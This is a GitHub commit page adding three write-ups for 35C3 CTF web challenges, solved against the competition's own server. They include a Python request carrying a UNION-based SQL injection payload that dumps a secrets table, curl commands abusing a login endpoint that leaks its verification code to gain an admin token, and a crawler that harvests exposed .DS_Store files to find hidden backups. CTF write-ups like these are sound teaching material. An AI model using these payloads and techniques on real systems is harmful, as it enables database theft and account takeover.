forked from Dvd848/CTFs
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
8 changed files
with
1,476 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,84 @@ | ||
# DB Secret | ||
Web | ||
|
||
## Description: | ||
> To enable secure microservices (or whatever, we don't know yet) over Wee in the future, we created a specific DB_SECRET, only known to us. This token is super important and extremely secret, hence the name. The only way an attacker could get hold of it is to serve good booze to the admins. Pretty sure it's otherwise well protected on our secure server. | ||
|
||
## Solution: | ||
|
||
This is a "Wee" challenge - see basic explanation [here](./Wee/). | ||
|
||
Searching for this DB_SECRET, we find the following piece of code in the server: | ||
|
||
```python | ||
def init_db(): | ||
with app.app_context(): | ||
db = get_db() | ||
with open(MIGRATION_PATH, "r") as f: | ||
db.cursor().executescript(f.read()) | ||
db.execute("CREATE TABLE `secrets`(`id` INTEGER PRIMARY KEY AUTOINCREMENT, `secret` varchar(255) NOT NULL)") | ||
db.execute("INSERT INTO secrets(secret) values(?)", (DB_SECRET,)) | ||
db.commit() | ||
|
||
``` | ||
|
||
It looks like we are looking for an SQL-injection vulnerability. | ||
|
||
Scanning the code to search for such a vulnerability, we find: | ||
```python | ||
@app.route("/api/getprojectsadmin", methods=["POST"]) | ||
def getprojectsadmin(): | ||
# ProjectsRequest request = ctx.bodyAsClass(ProjectsRequest.class); | ||
# ctx.json(paperbots.getProjectsAdmin(ctx.cookie("token"), request.sorting, request.dateOffset)); | ||
name = request.cookies["name"] | ||
token = request.cookies["token"] | ||
user, username, email, usertype = user_by_token(token) | ||
|
||
json = request.get_json(force=True) | ||
offset = json["offset"] | ||
sorting = json["sorting"] | ||
|
||
if name != "admin": | ||
raise Exception("InvalidUserName") | ||
|
||
sortings = { | ||
"newest": "created DESC", | ||
"oldest": "created ASC", | ||
"lastmodified": "lastModified DESC" | ||
} | ||
sql_sorting = sortings[sorting] | ||
|
||
if not offset: | ||
offset = datetime.datetime.now() | ||
|
||
return jsonify_projects(query_db( | ||
"SELECT code, userName, title, public, type, lastModified, created, content FROM projects WHERE created < '{}' " | ||
"ORDER BY {} LIMIT 10".format(offset, sql_sorting), one=False), username, "admin") | ||
``` | ||
|
||
Since we are already [logged in as admins](Logged_In.md), we can use this entry point and provide a specially crafted `offset` in order to perform the injection. | ||
|
||
The code: | ||
```python | ||
import requests | ||
|
||
cookie = {"name": "admin", "token": "vsfrhvlixgcakewqactbyotkdsrhjehq"} | ||
r = requests.post('http://35.207.132.47/api/getprojectsadmin', json={"offset": "' union select secret, 1, 1, 1, 1, 1, 1, 1 from secrets limit 1 --", "sorting": "newest"}, cookies = cookie) | ||
print(r.text) | ||
``` | ||
|
||
This will produce the following query: | ||
```sql | ||
SELECT code, userName, title, public, type, lastModified, created, content | ||
FROM projects | ||
WHERE created < '' | ||
union select secret, 1, 1, 1, 1, 1, 1, 1 from secrets limit 1 --'ORDER BY {} LIMIT 10 | ||
``` | ||
|
||
The response: | ||
``` | ||
[{"code":"35C3_ALL_THESE_YEARS_AND_WE_STILL_HAVE_INJECTIONS_EVERYWHERE__HOW???","content":1,"created":1,"lastModified":1,"public":1,"title":1,"type":1,"userName":1}] | ||
``` | ||
|
||
The flag: 35C3_ALL_THESE_YEARS_AND_WE_STILL_HAVE_INJECTIONS_EVERYWHERE__HOW??? |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,80 @@ | ||
# Logged In | ||
Web | ||
|
||
## Description: | ||
> Phew, we totally did not set up our mail server yet. This is bad news since nobody can get into their accounts at the moment... It'll be in our next sprint. Until then, since you cannot login: enjoy our totally finished software without account. | ||
|
||
## Solution: | ||
|
||
This is a "Wee" challenge - see basic explanation [here](./Wee/). | ||
|
||
Clicking the "Login" button pops up a login box, where the user is requested to enter an email or username. | ||
|
||
If we try to enter "admin", a request gets sent to `/api/login` and the logic box now requests: "We have sent you an email with a magic code! Please enter it below". | ||
|
||
Let's check what happens in the server side: | ||
|
||
```python | ||
@app.route("/api/login", methods=["POST"]) | ||
def login(): | ||
print("Logging in?") | ||
# TODO Send Mail | ||
json = request.get_json(force=True) | ||
login = json["email"].strip() | ||
try: | ||
userid, name, email = query_db("SELECT id, name, email FROM users WHERE email=? OR name=?", (login, login)) | ||
except Exception as ex: | ||
raise Exception("UserDoesNotExist") | ||
return get_code(name) | ||
``` | ||
|
||
As expected, the mail service does not work yet, and the required code is returned to the user in the response: | ||
```console | ||
root@kali:/media/sf_CTFs/35c3ctf/Logged_In# curl 'http://35.207.132.47/api/login' -H 'Content-Type: application/json; charset=UTF-8' --data-binary '{"email":"admin"}' && echo | ||
lrsrge | ||
``` | ||
|
||
If we try this code, we get the following response: | ||
```console | ||
root@kali:/media/sf_CTFs/35c3ctf/Logged_In# curl 'http://35.207.132.47/api/verify' -H 'Content-Type: application/json; charset=UTF-8' --data-binary '{"code":"lrsrge"}' -i && echo | ||
HTTP/1.1 200 OK | ||
Server: nginx/1.15.8 | ||
Date: Tue, 01 Jan 2019 19:57:30 GMT | ||
Content-Type: text/html; charset=utf-8 | ||
Content-Length: 0 | ||
Connection: keep-alive | ||
Set-Cookie: token=vsfrhvlixgcakewqactbyotkdsrhjehq; Expires=Sun, 19-Jan-2087 23:11:37 GMT; Max-Age=2147483647; Path=/ | ||
Set-Cookie: name=admin; Expires=Sun, 19-Jan-2087 23:11:37 GMT; Max-Age=2147483647; Path=/ | ||
Set-Cookie: logged_in=35C3_LOG_ME_IN_LIKE_ONE_OF_YOUR_FRENCH_GIRLS; Path=/ | ||
X-Frame-Options: SAMEORIGIN | ||
X-Xss-Protection: 1; mode=block | ||
X-Content-Type-Options: nosniff | ||
Content-Security-Policy: script-src 'self' 'unsafe-inline'; | ||
Referrer-Policy: no-referrer-when-downgrade | ||
Feature-Policy: geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; fullscreen *; payment 'self'; | ||
``` | ||
|
||
The matching code is: | ||
```python | ||
@app.route("/api/verify", methods=["POST"]) | ||
def verify(): | ||
code = request.get_json(force=True)["code"].strip() | ||
if not code: | ||
raise Exception("CouldNotVerifyCode") | ||
userid, = query_db("SELECT userId FROM userCodes WHERE code=?", code) | ||
db = get_db() | ||
c = db.cursor() | ||
c.execute("DELETE FROM userCodes WHERE userId=?", (userid,)) | ||
token = random_code(32) | ||
c.execute("INSERT INTO userTokens (userId, token) values(?,?)", (userid, token)) | ||
db.commit() | ||
name, = query_db("SELECT name FROM users WHERE id=?", (userid,)) | ||
resp = make_response() | ||
resp.set_cookie("token", token, max_age=2 ** 31 - 1) | ||
resp.set_cookie("name", name, max_age=2 ** 31 - 1) | ||
resp.set_cookie("logged_in", LOGGED_IN) | ||
return resp | ||
``` | ||
|
||
And we are logged in as "admin", with the flag being sent as part of the cookie: 35C3_LOG_ME_IN_LIKE_ONE_OF_YOUR_FRENCH_GIRLS |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,134 @@ | ||
# McDonald | ||
Web | ||
|
||
## Description: | ||
> Our web admin name's "Mc Donald" and he likes apples and always forgets to throw away his apple cores.. | ||
## Solution: | ||
|
||
The website seems pretty empty, nothing much there. | ||
|
||
Let's check for `robots.txt`: | ||
```console | ||
root@kali:/media/sf_CTFs/35c3ctf/McDonald# curl -s http://35.207.132.47:85/robots.txt | ||
User-agent: * | ||
Disallow: /backup/.DS_Store | ||
``` | ||
|
||
What is this file (Source: [Wikipedia](https://en.wikipedia.org/wiki/.DS_Store))? | ||
> In the Apple macOS operating system, .DS_Store is a file that stores custom attributes of its containing folder, such as the position of icons or the choice of a background image. The name is an abbreviation of Desktop Services Store, reflecting its purpose. It is created and maintained by the Finder application in every folder, and has functions similar to the file desktop.ini in Microsoft Windows. Starting with a full stop (period) character, it is hidden in Finder and many Unix utilities. Its internal structure is proprietary. | ||
The format is proprietary but luckily someone published a [script](https://github.com/gehaxelt/Python-dsstore) to parse the file (and not just anyone - the challenge author!). | ||
|
||
Here's the output for our file: | ||
``` | ||
root@kali:/media/sf_CTFs/35c3ctf/McDonald/manual# python ~/utils/Python-dsstore/main.py .DS_Store | ||
('Count: ', 20) | ||
a | ||
a | ||
a | ||
a | ||
b | ||
b | ||
b | ||
b | ||
b | ||
b | ||
b | ||
b | ||
c | ||
c | ||
c | ||
c | ||
c | ||
c | ||
c | ||
c | ||
``` | ||
|
||
It looks like these are also folders, and that some of them contain a `.DS_Store` file as well. | ||
|
||
Using this script, we can traverse the directory structure: | ||
```python | ||
import requests | ||
import sys | ||
import dsstore | ||
|
||
BASE_URL = "http://35.207.91.38/" | ||
BASE_FOLDER = "out" | ||
DS_FILENAME = ".DS_Store" | ||
|
||
def get_file_content(relative_address): | ||
r = requests.get(BASE_URL + relative_address) | ||
if r.status_code == 200: | ||
return r.content | ||
return None | ||
|
||
def get_files_and_folders(ds_store_content): | ||
d = dsstore.DS_Store(ds_store_content, debug=False) | ||
files = d.traverse_root() | ||
return set(files) | ||
|
||
queue = ["backup"] | ||
|
||
while (len(queue) != 0): | ||
item = queue.pop() | ||
print "Parsing: {}".format(item) | ||
f = get_file_content(item + "/" + DS_FILENAME) | ||
if f is not None: | ||
files = get_files_and_folders(f) | ||
print files | ||
for file in files: | ||
new_path = item + "/" + file | ||
if "." not in file: | ||
queue.append(new_path) | ||
else: | ||
print "Content of {}:".format(new_path) | ||
print get_file_content(new_path) | ||
``` | ||
|
||
The output: | ||
``` | ||
root@kali:/media/sf_CTFs/35c3ctf/McDonald# python solve.py | ||
Parsing: backup | ||
set([u'a', u'c', u'b']) | ||
Parsing: backup/b | ||
set([u'a', u'c', u'b', u'noflag.txt']) | ||
Content of backup/b/noflag.txt: | ||
Parsing: backup/b/b | ||
set([u'fun']) | ||
Parsing: backup/b/b/fun | ||
Parsing: backup/b/c | ||
Parsing: backup/b/a | ||
set([u'a', u'c', u'b', u'noflag.txt']) | ||
Content of backup/b/a/noflag.txt: | ||
Parsing: backup/b/a/b | ||
set([u'fun']) | ||
Parsing: backup/b/a/b/fun | ||
Parsing: backup/b/a/c | ||
set([u'flag.txt', u'noflag.txt']) | ||
Content of backup/b/a/c/flag.txt: | ||
35c3_Appl3s_H1dden_F1l3s | ||
Content of backup/b/a/c/noflag.txt: | ||
Parsing: backup/b/a/a | ||
Parsing: backup/c | ||
set([u'a', u'c', u'b']) | ||
Parsing: backup/c/b | ||
set([u'a', u'c', u'b']) | ||
Parsing: backup/c/b/b | ||
Parsing: backup/c/b/c | ||
Parsing: backup/c/b/a | ||
Parsing: backup/c/c | ||
set([u'a', u'c', u'b']) | ||
Parsing: backup/c/c/b | ||
Parsing: backup/c/c/c | ||
Parsing: backup/c/c/a | ||
Parsing: backup/c/a | ||
Parsing: backup/a | ||
``` | ||
|
||
The flag is hiding in `backup/b/a/c/flag.txt`: 35c3_Appl3s_H1dden_F1l3s |
Oops, something went wrong.